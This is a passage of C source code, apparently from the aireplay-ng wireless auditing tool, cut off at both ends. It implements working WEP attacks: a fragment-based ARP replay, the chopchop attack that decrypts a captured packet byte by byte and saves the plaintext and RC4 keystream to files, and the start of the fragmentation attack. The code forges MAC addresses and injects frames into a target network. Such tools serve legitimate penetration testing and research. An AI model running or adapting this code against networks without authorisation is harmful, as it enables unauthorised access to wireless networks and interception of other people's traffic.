); arp[nb_arp].len = caplen; arp[nb_arp].hdrlen = z; nb_arp++; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fflush( f_cap_out ); } } } return( 0 ); } int set_clear_arp(unsigned char *buf, unsigned char *smac, unsigned char *dmac) //set first 22 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_ARP, 8); buf[8] = 0x00; buf[9] = 0x01; //ethernet buf[10] = 0x08; // IP buf[11] = 0x00; buf[12] = 0x06; //hardware size buf[13] = 0x04; //protocol size buf[14] = 0x00; if(memcmp(dmac, BROADCAST, 6) == 0) buf[15] = 0x01; //request else buf[15] = 0x02; //reply memcpy(buf+16, smac, 6); return 0; } int set_final_arp(unsigned char *buf, unsigned char *mymac) { if(buf == NULL) return -1; //shifted by 10bytes to set source IP as target IP :) buf[0] = 0x08; // IP buf[1] = 0x00; buf[2] = 0x06; //hardware size buf[3] = 0x04; //protocol size buf[4] = 0x00; buf[5] = 0x01; //request memcpy(buf+6, mymac, 6); //sender mac buf[12] = 0xA9; //sender IP 169.254.87.197 buf[13] = 0xFE; buf[14] = 0x57; buf[15] = 0xC5; //end sender IP return 0; } int set_clear_ip(unsigned char *buf, int ip_len) //set first 9 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_IP, 8); buf[8] = 0x45; buf[10] = (ip_len >> 8) & 0xFF; buf[11] = ip_len & 0xFF; return 0; } int set_final_ip(unsigned char *buf, unsigned char *mymac) { if(buf == NULL) return -1; //shifted by 10bytes to set source IP as target IP :) buf[0] = 0x06; //hardware size buf[1] = 0x04; //protocol size buf[2] = 0x00; buf[3] = 0x01; //request memcpy(buf+4, mymac, 6); //sender mac buf[10] = 0xA9; //sender IP from 169.254.XXX.XXX buf[11] = 0xFE; return 0; } int do_attack_cfrag( void ) { int caplen, n; struct timeval tv; struct timeval tv2; float f, ticks[3]; unsigned char bssid[6]; unsigned char smac[6]; unsigned char dmac[6]; unsigned char keystream[128]; unsigned char frag1[128], frag2[128], frag3[128]; unsigned char clear[4096], final[4096], flip[4096]; int isarp; int z, i; opt.f_fromds = 0; read_packets: if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if(caplen < z) { goto read_packets; } if(caplen > 3800) { goto read_packets; } switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); memcpy( dmac, h80211 + 4, 6 ); memcpy( smac, h80211 + 10, 6 ); break; case 1: memcpy( bssid, h80211 + 4, 6 ); memcpy( dmac, h80211 + 16, 6 ); memcpy( smac, h80211 + 10, 6 ); break; case 2: memcpy( bssid, h80211 + 10, 6 ); memcpy( dmac, h80211 + 4, 6 ); memcpy( smac, h80211 + 16, 6 ); break; default: memcpy( bssid, h80211 + 10, 6 ); memcpy( dmac, h80211 + 16, 6 ); memcpy( smac, h80211 + 24, 6 ); break; } memset(clear, 0, 4096); memset(final, 0, 4096); memset(flip, 0, 4096); memset(frag1, 0, 128); memset(frag2, 0, 128); memset(frag3, 0, 128); memset(keystream, 0, 128); /* check if it's a potential ARP request */ //its length 68-24 or 86-24 and going to broadcast or a unicast mac (even first byte) if( (caplen-z == 68-24 || caplen-z == 86-24) && (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0]%2) == 0) ) { /* process ARP */ printf("Found ARP packet\n"); isarp = 1; //build the new packet set_clear_arp(clear, smac, dmac); set_final_arp(final, opt.r_smac); for(i=0; i<14; i++) keystream[i] = (h80211+z+4)[i] ^ clear[i]; // correct 80211 header // h80211[0] = 0x08; //data if( (h80211[1] & 3) == 0x00 ) //ad-hoc { h80211[1] = 0x40; //wep memcpy(h80211+4, smac, 6); memcpy(h80211+10, opt.r_smac, 6); memcpy(h80211+16, bssid, 6); } else //tods { if(opt.f_tods == 1) { h80211[1] = 0x41; //wep+ToDS memcpy(h80211+4 , bssid, 6); memcpy(h80211+10, opt.r_smac, 6); memcpy(h80211+16, smac, 6); } else { h80211[1] = 0x42; //wep+FromDS memcpy(h80211+4, smac, 6); memcpy(h80211+10, bssid, 6); memcpy(h80211+16, opt.r_smac, 6); } } h80211[22] = 0xD0; //frag = 0; h80211[23] = 0x50; //need to shift by 10 bytes; (add 1 frag in front) memcpy(frag1, h80211, z+4); //copy 80211 header and IV frag1[1] |= 0x04; //more frags memcpy(frag1+z+4, S_LLC_SNAP_ARP, 8); frag1[z+4+8] = 0x00; frag1[z+4+9] = 0x01; //ethernet add_crc32(frag1+z+4, 10); for(i=0; i<14; i++) (frag1+z+4)[i] ^= keystream[i]; /* frag1 finished */ for(i=0; i<caplen; i++) flip[i] = clear[i] ^ final[i]; add_crc32_plain(flip, caplen-z-4-4); for(i=0; i<caplen-z-4; i++) (h80211+z+4)[i] ^= flip[i]; h80211[22] = 0xD1; // frag = 1; //ready to send frag1 / len=z+4+10+4 and h80211 / len = caplen } else { /* process IP */ printf("Found IP packet\n"); isarp = 0; //build the new packet set_clear_ip(clear, caplen-z-4-8-4); //caplen - ieee80211header - IVIDX - LLC/SNAP - ICV set_final_ip(final, opt.r_smac); for(i=0; i<8; i++) keystream[i] = (h80211+z+4)[i] ^ clear[i]; // correct 80211 header // h80211[0] = 0x08; //data if( (h80211[1] & 3) == 0x00 ) //ad-hoc { h80211[1] = 0x40; //wep memcpy(h80211+4, smac, 6); memcpy(h80211+10, opt.r_smac, 6); memcpy(h80211+16, bssid, 6); } else { if(opt.f_tods == 1) { h80211[1] = 0x41; //wep+ToDS memcpy(h80211+4 , bssid, 6); memcpy(h80211+10, opt.r_smac, 6); memcpy(h80211+16, smac, 6); } else { h80211[1] = 0x42; //wep+FromDS memcpy(h80211+4, smac, 6); memcpy(h80211+10, bssid, 6); memcpy(h80211+16, opt.r_smac, 6); } } h80211[22] = 0xD0; //frag = 0; h80211[23] = 0x50; //need to shift by 12 bytes;(add 3 frags in front) memcpy(frag1, h80211, z+4); //copy 80211 header and IV memcpy(frag2, h80211, z+4); //copy 80211 header and IV memcpy(frag3, h80211, z+4); //copy 80211 header and IV frag1[1] |= 0x04; //more frags frag2[1] |= 0x04; //more frags frag3[1] |= 0x04; //more frags memcpy(frag1+z+4, S_LLC_SNAP_ARP, 4); add_crc32(frag1+z+4, 4); for(i=0; i<8; i++) (frag1+z+4)[i] ^= keystream[i]; memcpy(frag2+z+4, S_LLC_SNAP_ARP+4, 4); add_crc32(frag2+z+4, 4); for(i=0; i<8; i++) (frag2+z+4)[i] ^= keystream[i]; frag2[22] = 0xD1; //frag = 1; frag3[z+4+0] = 0x00; frag3[z+4+1] = 0x01; //ether frag3[z+4+2] = 0x08; //IP frag3[z+4+3] = 0x00; add_crc32(frag3+z+4, 4); for(i=0; i<8; i++) (frag3+z+4)[i] ^= keystream[i]; frag3[22] = 0xD2; //frag = 2; /* frag1,2,3 finished */ for(i=0; i<caplen; i++) flip[i] = clear[i] ^ final[i]; add_crc32_plain(flip, caplen-z-4-4); for(i=0; i<caplen-z-4; i++) (h80211+z+4)[i] ^= flip[i]; h80211[22] = 0xD3; // frag = 3; //ready to send frag1,2,3 / len=z+4+4+4 and h80211 / len = caplen } /* loop resending the packet */ /* Check if airodump-ng is running. If not, print that message */ printf( "You should also start airodump-ng to capture replies.\n\n" ); signal( SIGINT, sighandler ); ctrl_c = 0; memset( ticks, 0, sizeof( ticks ) ); nb_pkt_sent = 0; while( 1 ) { if( ctrl_c ) goto read_packets; /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %ld packets...(%d pps)\33[K\r", nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION))); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION < 1 ) continue; /* threshold reached */ ticks[2] = 0; if( nb_pkt_sent == 0 ) ticks[0] = 0; if(isarp) { if( send_packet( frag1, z+4+10+4 ) < 0 ) return( 1 ); nb_pkt_sent--; } else { if( send_packet( frag1, z+4+4+4 ) < 0 ) return( 1 ); if( send_packet( frag2, z+4+4+4 ) < 0 ) return( 1 ); if( send_packet( frag3, z+4+4+4 ) < 0 ) return( 1 ); nb_pkt_sent-=3; } if( send_packet( h80211, caplen ) < 0 ) return( 1 ); } return( 0 ); } int do_attack_chopchop( void ) { float f, ticks[4]; int i, j, n, z, caplen, srcz; int data_start, data_end, srcdiff, diff; int guess, is_deauth_mode; int nb_bad_pkt; int tried_header_rec=0; unsigned char b1 = 0xAA; unsigned char b2 = 0xAA; FILE *f_cap_out; long nb_pkt_read; unsigned long crc_mask; unsigned char *chopped; unsigned char packet[4096]; time_t tt; struct tm *lt; struct timeval tv; struct timeval tv2; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; if(getnet(NULL, 1, 0) != 0) return 1; srand( time( NULL ) ); if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; srcz = z; if( (unsigned)caplen > sizeof(srcbuf) || (unsigned)caplen > sizeof(h80211) ) return( 1 ); if( opt.r_smac_set == 1 ) { //handle picky APs (send one valid packet before all the invalid ones) memset(packet, 0, sizeof(packet)); memcpy( packet, NULL_DATA, 24 ); memcpy( packet + 4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); memcpy( packet + 10, opt.r_smac, 6 ); memcpy( packet + 16, opt.f_bssid, 6 ); packet[0] = 0x08; //make it a data packet packet[1] = 0x41; //set encryption and ToDS=1 memcpy( packet+24, h80211+z, caplen-z); if( send_packet( packet, caplen-z+24 ) != 0 ) return( 1 ); //done sending a correct packet } /* Special handling for spanning-tree packets */ if ( memcmp( h80211 + 4, SPANTREE, 6 ) == 0 || memcmp( h80211 + 16, SPANTREE, 6 ) == 0 ) { b1 = 0x42; b2 = 0x42; } printf( "\n" ); /* chopchop operation mode: truncate and decrypt the packet */ /* we assume the plaintext starts with AA AA 03 00 00 00 */ /* (42 42 03 00 00 00 for spanning-tree packets) */ memcpy( srcbuf, h80211, caplen ); /* setup the chopping buffer */ n = caplen - z + 24; if( ( chopped = (unsigned char *) malloc( n ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memset( chopped, 0, n ); data_start = 24 + 4; data_end = n; srcdiff = z-24; chopped[0] = 0x08; /* normal data frame */ chopped[1] = 0x41; /* WEP = 1, ToDS = 1 */ /* copy the duration */ memcpy( chopped + 2, h80211 + 2, 2 ); /* copy the BSSID */ switch( h80211[1] & 3 ) { case 0: memcpy( chopped + 4, h80211 + 16, 6 ); break; case 1: memcpy( chopped + 4, h80211 + 4, 6 ); break; case 2: memcpy( chopped + 4, h80211 + 10, 6 ); break; default: memcpy( chopped + 4, h80211 + 10, 6 ); break; } /* copy the WEP IV */ memcpy( chopped + 24, h80211 + z, 4 ); /* setup the xor mask to hide the original data */ crc_mask = 0; for( i = data_start; i < data_end - 4; i++ ) { switch( i - data_start ) { case 0: chopped[i] = b1 ^ 0xE0; break; case 1: chopped[i] = b2 ^ 0xE0; break; case 2: chopped[i] = 0x03 ^ 0x03; break; default: chopped[i] = 0x55 ^ ( i & 0xFF ); break; } crc_mask = crc_tbl[crc_mask & 0xFF] ^ ( crc_mask >> 8 ) ^ ( chopped[i] << 24 ); } for( i = 0; i < 4; i++ ) crc_mask = crc_tbl[crc_mask & 0xFF] ^ ( crc_mask >> 8 ); chopped[data_end - 4] = crc_mask; crc_mask >>= 8; chopped[data_end - 3] = crc_mask; crc_mask >>= 8; chopped[data_end - 2] = crc_mask; crc_mask >>= 8; chopped[data_end - 1] = crc_mask; crc_mask >>= 8; for( i = data_start; i < data_end; i++ ) chopped[i] ^= srcbuf[i+srcdiff]; data_start += 6; /* skip the SNAP header */ /* if the replay source mac is unspecified, forge one */ if( opt.r_smac_set == 0 ) { is_deauth_mode = 1; opt.r_smac[0] = 0x00; opt.r_smac[1] = rand() & 0x3E; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; memcpy( opt.r_dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); } else { is_deauth_mode = 0; opt.r_dmac[0] = 0xFF; opt.r_dmac[1] = rand() & 0xFE; opt.r_dmac[2] = rand() & 0xFF; opt.r_dmac[3] = rand() & 0xFF; opt.r_dmac[4] = rand() & 0xFF; } /* let's go chopping */ memset( ticks, 0, sizeof( ticks ) ); nb_pkt_read = 0; nb_pkt_sent = 0; nb_bad_pkt = 0; guess = 256; tt = time( NULL ); alarm( 30 ); signal( SIGALRM, sighandler ); if(opt.port_in <= 0) { if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } while( data_end > data_start ) { if( alarmed ) { printf( "\n\n" "The chopchop attack appears to have failed. Possible reasons:\n" "\n" " * You're trying to inject with an unsupported chipset (Centrino?).\n" " * The driver source wasn't properly patched for injection support.\n" " * You are too far from the AP. Get closer or reduce the send rate.\n" " * Target is 802.11g only but you are using a Prism2 or RTL8180.\n" " * The wireless interface isn't setup on the correct channel.\n" ); if( is_deauth_mode ) printf( " * The AP isn't vulnerable when operating in non-authenticated mode.\n" " Run aireplay-ng in authenticated mode instead (-h option).\n\n" ); else printf( " * The client MAC you have specified is not currently authenticated.\n" " Try running another aireplay-ng to fake authentication (attack \"-1\").\n" " * The AP isn't vulnerable when operating in authenticated mode.\n" " Try aireplay-ng in non-authenticated mode instead (no -h option).\n\n" ); return( 1 ); } /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "\nread(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; /* ticks since we entered the while loop */ ticks[1]++; /* ticks since the last status line update */ ticks[2]++; /* ticks since the last frame was sent */ ticks[3]++; /* ticks since started chopping current byte */ } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 976 ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / 976; ticks[1] += f / 976; ticks[2] += f / 976; ticks[3] += f / 976; } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %3ld packets, current guess: %02X...\33[K", nb_pkt_sent, guess ); fflush( stdout ); } if( data_end < 41 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) / (int) ( caplen - ( data_end - 1 ) ) ) { header_rec: printf( "\n\nThe AP appears to drop packets shorter " "than %d bytes.\n",data_end ); data_end = 40; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; if( ( chopped[data_end + 0] ^ srcbuf[data_end + srcdiff + 0] ) == 0x06 && ( chopped[data_end + 1] ^ srcbuf[data_end + srcdiff + 1] ) == 0x04 && ( chopped[data_end + 2] ^ srcbuf[data_end + srcdiff + 2] ) == 0x00 ) { printf( "Enabling standard workaround: " "ARP header re-creation.\n" ); chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08; chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x06; chopped[24 + 12] = srcbuf[srcz + 12] ^ 0x00; chopped[24 + 13] = srcbuf[srcz + 13] ^ 0x01; chopped[24 + 14] = srcbuf[srcz + 14] ^ 0x08; chopped[24 + 15] = srcbuf[srcz + 15] ^ 0x00; } else { printf( "Enabling standard workaround: " " IP header re-creation.\n" ); n = caplen - ( z + 16 ); chopped[24 + 4] = srcbuf[srcz + 4] ^ 0xAA; chopped[24 + 5] = srcbuf[srcz + 5] ^ 0xAA; chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03; chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00; chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00; chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00; chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08; chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x00; chopped[24 + 14] = srcbuf[srcz + 14] ^ ( n >> 8 ); chopped[24 + 15] = srcbuf[srcz + 15] ^ ( n & 0xFF ); memcpy( h80211, srcbuf, caplen ); for( i = z + 4; i < (int) caplen; i++ ) h80211[i - 4] = h80211[i] ^ chopped[i-diff]; /* sometimes the header length or the tos field vary */ for( i = 0; i < 16; i++ ) { h80211[z + 8] = 0x40 + i; chopped[24 + 12] = srcbuf[srcz + 12] ^ ( 0x40 + i ); for( j = 0; j < 256; j++ ) { h80211[z + 9] = j; chopped[24 + 13] = srcbuf[srcz + 13] ^ j; if( check_crc_buf( h80211 + z, caplen - z - 8 ) ) goto have_crc_match; } } printf( "This doesn't look like an IP packet, " "try another one.\n" ); } have_crc_match: break; } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* send one modified frame */ ticks[2] = 0; memcpy( h80211, chopped, data_end - 1 ); /* note: guess 256 is special, it tests if the * * AP properly drops frames with an invalid ICV * * so this guess always has its bit 8 set to 0 */ if( is_deauth_mode ) { opt.r_smac[1] |= ( guess < 256 ); opt.r_smac[5] = guess & 0xFF; } else { opt.r_dmac[1] |= ( guess < 256 ); opt.r_dmac[5] = guess & 0xFF; } memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.r_dmac, 6 ); if( guess < 256 ) { h80211[data_end - 2] ^= crc_chop_tbl[guess][3]; h80211[data_end - 3] ^= crc_chop_tbl[guess][2]; h80211[data_end - 4] ^= crc_chop_tbl[guess][1]; h80211[data_end - 5] ^= crc_chop_tbl[guess][0]; } errno = 0; if( send_packet( h80211, data_end -1 ) != 0 ) return( 1 ); if( errno != EAGAIN ) { guess++; if( guess > 256 ) guess = 0; } } /* watch for a response from the AP */ n = read_packet( h80211, sizeof( h80211 ), NULL ); if( n < 0 ) return( 1 ); if( n == 0 ) continue; nb_pkt_read++; /* check if it's a deauth packet */ if( h80211[0] == 0xA0 || h80211[0] == 0xC0 ) { if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 && ! is_deauth_mode ) { nb_bad_pkt++; if( nb_bad_pkt > 256 ) { printf("\rgot several deauthentication packets - pausing 3 seconds for reconnection\n"); sleep(3); nb_bad_pkt = 0; } continue; } if( h80211[4] != opt.r_smac[0] ) continue; if( h80211[6] != opt.r_smac[2] ) continue; if( h80211[7] != opt.r_smac[3] ) continue; if( h80211[8] != opt.r_smac[4] ) continue; if( ( h80211[5] & 0xFE ) != ( opt.r_smac[1] & 0xFE ) ) continue; if( ! ( h80211[5] & 1 ) ) { if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in authenticated mode (-h) instead.\n\n" ); return( 1 ); } } else { if( is_deauth_mode ) continue; /* check if it's a WEP data packet */ if( ( h80211[0] & 0x0C ) != 8 ) continue; if( ( h80211[0] & 0x70 ) != 0 ) continue; if( ( h80211[1] & 0x03 ) != 2 ) continue; if( ( h80211[1] & 0x40 ) == 0 ) continue; /* check the extended IV (TKIP) flag */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if( ( h80211[z + 3] & 0x20 ) != 0 ) continue; /* check the destination address */ if( h80211[4] != opt.r_dmac[0] ) continue; if( h80211[6] != opt.r_dmac[2] ) continue; if( h80211[7] != opt.r_dmac[3] ) continue; if( h80211[8] != opt.r_dmac[4] ) continue; if( ( h80211[5] & 0xFE ) != ( opt.r_dmac[1] & 0xFE ) ) continue; if( ! ( h80211[5] & 1 ) ) { if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in non-authenticated mode instead.\n\n" ); return( 1 ); } } /* we have a winner */ guess = h80211[9]; chopped[data_end - 1] ^= guess; chopped[data_end - 2] ^= crc_chop_tbl[guess][3]; chopped[data_end - 3] ^= crc_chop_tbl[guess][2]; chopped[data_end - 4] ^= crc_chop_tbl[guess][1]; chopped[data_end - 5] ^= crc_chop_tbl[guess][0]; n = caplen - data_start; printf( "\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X | " "%4ld frames written in %5.0fms\n", data_end - 1, 100 * ( caplen - data_end ) / n, chopped[data_end - 1], chopped[data_end - 1] ^ srcbuf[data_end + srcdiff - 1], nb_pkt_sent, ticks[3] ); if( is_deauth_mode ) { opt.r_smac[1] = rand() & 0x3E; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; } else { opt.r_dmac[1] = rand() & 0xFE; opt.r_dmac[2] = rand() & 0xFF; opt.r_dmac[3] = rand() & 0xFF; opt.r_dmac[4] = rand() & 0xFF; } ticks[3] = 0; nb_pkt_sent = 0; nb_bad_pkt = 0; guess = 256; data_end--; alarm( 0 ); } /* reveal the plaintext (chopped contains the prga) */ memcpy( h80211, srcbuf, caplen ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; chopped[24 + 4] = srcbuf[srcz + 4] ^ b1; chopped[24 + 5] = srcbuf[srcz + 5] ^ b2; chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03; chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00; chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00; chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00; for( i = z + 4; i < (int) caplen; i++ ) h80211[i - 4] = h80211[i] ^ chopped[i-diff]; if( ! check_crc_buf( h80211 + z, caplen - z - 8 ) ) { if (!tried_header_rec) { printf( "\nWarning: ICV checksum verification FAILED! Trying workaround.\n" ); tried_header_rec=1; goto header_rec; } else { printf( "\nWorkaround couldn't fix ICV checksum.\nPacket is most likely invalid/useless\nTry another one.\n" ); } } caplen -= 4 + 4; /* remove the WEP IV & CRC (ICV) */ h80211[1] &= 0xBF; /* remove the WEP bit, too */ /* save the decrypted packet */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "\nSaving plaintext in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); /* save the RC4 stream (xor mask) */ memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving keystream in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = pkh.caplen + 8 - 24; if( fwrite( chopped + 24, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); printf( "\nCompleted in %lds (%0.2f bytes/s)\n\n", (long) time( NULL ) - tt, (float) ( pkh.caplen - 6 - 24 ) / (float) ( time( NULL ) - tt ) ); return( 0 ); } int make_arp_request(unsigned char *h80211, unsigned char *bssid, unsigned char *src_mac, unsigned char *dst_mac, unsigned char *src_ip, unsigned char *dst_ip, int size) { unsigned char *arp_header = (unsigned char*)"\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01"; unsigned char *header80211 = (unsigned char*)"\x08\x41\x95\x00"; // 802.11 part memcpy(h80211, header80211, 4); memcpy(h80211+4, bssid, 6); memcpy(h80211+10, src_mac, 6); memcpy(h80211+16, dst_mac, 6); h80211[22] = '\x00'; h80211[23] = '\x00'; // ARP part memcpy(h80211+24, arp_header, 16); memcpy(h80211+40, src_mac, 6); memcpy(h80211+46, src_ip, 4); memset(h80211+50, '\x00', 6); memcpy(h80211+56, dst_ip, 4); // Insert padding bytes memset(h80211+60, '\x00', size-60); return 0; } void save_prga(char *filename, unsigned char *iv, unsigned char *prga, int prgalen) { FILE *xorfile; size_t unused; xorfile = fopen(filename, "wb"); unused = fwrite (iv, 1, 4, xorfile); unused = fwrite (prga, 1, prgalen, xorfile); fclose (xorfile); } int do_attack_fragment() { unsigned char packet[4096]; unsigned char packet2[4096]; unsigned char prga[4096]; unsigned char iv[4]; // unsigned char ack[14] = "\xd4"; char strbuf[256]; struct tm *lt; struct timeval tv, tv2; int done; int caplen; int caplen2; int arplen; int round; int prga_len; int isrelay; int again; int length; int ret; int gotit; int acksgot; int packets; int z; unsigned char *snap_header = (unsigned char*)"\xAA\xAA\x03\x00\x00\x00\x08\x00"; done = caplen = caplen2 = arplen = round = 0; prga_len = isrelay = gotit = again = length = 0; if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(NULL, 1, 1) != 0) return 1; if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 ) { memset( opt.r_dmac, '\xFF', 6); opt.r_dmac[5] = 0xED; } if( memcmp( opt.r_sip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_sip, '\xFF', 4); } if( memcmp( opt.r_dip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_dip, '\xFF', 4); } PCT; printf ("Waiting for a data packet...\n"); while(!done) // { round = 0; if( capture_ask_packet( &caplen, 0 ) != 0 ) return -1; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if((unsigned)caplen > sizeof(packet) || (unsigned)caplen > sizeof(packet2)) continue; memcpy( packet2, h80211, caplen ); caplen2 = caplen; PCT; printf("Data packet found!\n"); if ( memcmp( packet2 + 4, SPANTREE, 6 ) == 0 || memcmp( packet2 + 16, SPANTREE, 6 ) == 0 ) { packet2[z+4] = ((packet2[z+4] ^ 0x42) ^ 0xAA); //0x42 instead of 0xAA packet2[z+5] = ((packet2[z+5] ^ 0x42) ^ 0xAA); //0x42 instead of 0xAA packet2[z+10] = ((packet2[z+10] ^ 0x00) ^ 0x08); //0x00 instead of 0x08 } prga_len = 7; again = RETRY; memcpy( packet, packet2, caplen2 ); caplen = caplen2; memcpy(prga, packet+z+4, prga_len); memcpy(iv, packet+z, 4); xor_keystream(prga, snap_header, prga_len); while(again == RETRY) //sending 7byte fragments { again = 0; arplen=60; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 39); arplen=63; } acksgot=0; packets=(arplen-24)/(prga_len-4); if( (arplen-24)%(prga_len-4) != 0 ) packets++; PCT; printf("Sending fragmented packet\n"); send_fragments(h80211, arplen, iv, prga, prga_len-4, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { acksgot++; } continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( 